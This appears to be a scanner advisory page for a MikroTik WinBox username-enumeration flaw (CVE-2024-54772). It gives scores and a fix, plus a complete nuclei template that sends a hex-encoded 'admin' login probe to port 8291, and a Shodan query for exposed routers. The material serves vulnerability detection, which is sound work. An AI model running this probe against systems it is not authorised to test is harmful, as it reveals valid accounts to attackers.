MikroTik WinBox <= 6.49.17 - Username Enumeration

mediumseverity

5.3CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

MikroTik RouterOS v6.43.13 through v6.49.13 and v6.43 through v7.17.2 contain an account enumeration issue caused by response size discrepancy in Winbox service, letting attackers identify valid usernames, exploit requires network access to Winbox service.

Impact

Attackers can enumerate valid user accounts, potentially aiding targeted attacks or privilege escalation.

Fix

Update to stable release v6.49.18 or later.

How to confirm it

Send: tcp probe to {{Hostname}}
Positive when: len(raw) == 51 and regex("^3106", hex_encode(raw))

Run it with nuclei: nuclei -id CVE-2024-54772 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-54772

info:
  name: MikroTik WinBox <= 6.49.17 - Username Enumeration
  author: abdo342003
  severity: medium
  description: |
    MikroTik RouterOS v6.43.13 through v6.49.13 and v6.43 through v7.17.2 contain an account enumeration issue caused by response size discrepancy in Winbox service, letting attackers identify valid usernames, exploit requires network access to Winbox service.
  impact: |
    Attackers can enumerate valid user accounts, potentially aiding targeted attacks or privilege escalation.
  remediation: |
    Update to stable release v6.49.18 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54772
    - https://github.com/deauther890/CVE-2024-54772
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-54772
    epss-score: 0.01234
    epss-percentile: 0.69273
    cwe-id: CWE-203
  metadata:
    max-request: 1
    shodan-query: port:8291 product:"MikroTik"
  tags: cve,cve2024,mikrotik,routeros,winbox,enumeration,tcp

tcp:
  - inputs:
      # chr(len("admin") + 34), 0x06, "admin", 34 NUL bytes
      - data: "270661646d696e00000000000000000000000000000000000000000000000000000000000000000000"
        type: hex

    host:
      - "{{Hostname}}"
    port: 8291
    read-size: 512

    matchers:
      - type: dsl
        dsl:
          # 51-byte hello carrying the salt - the account exists
          - 'len(raw) == 51'
          # framing check: 0x31 is the payload length, 0x06 the message type
          - 'regex("^3106", hex_encode(raw))'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"WinBox discloses that the admin account exists (51-byte salted hello)"'

References

Use this check only on systems you are authorised to test. Where the data comes from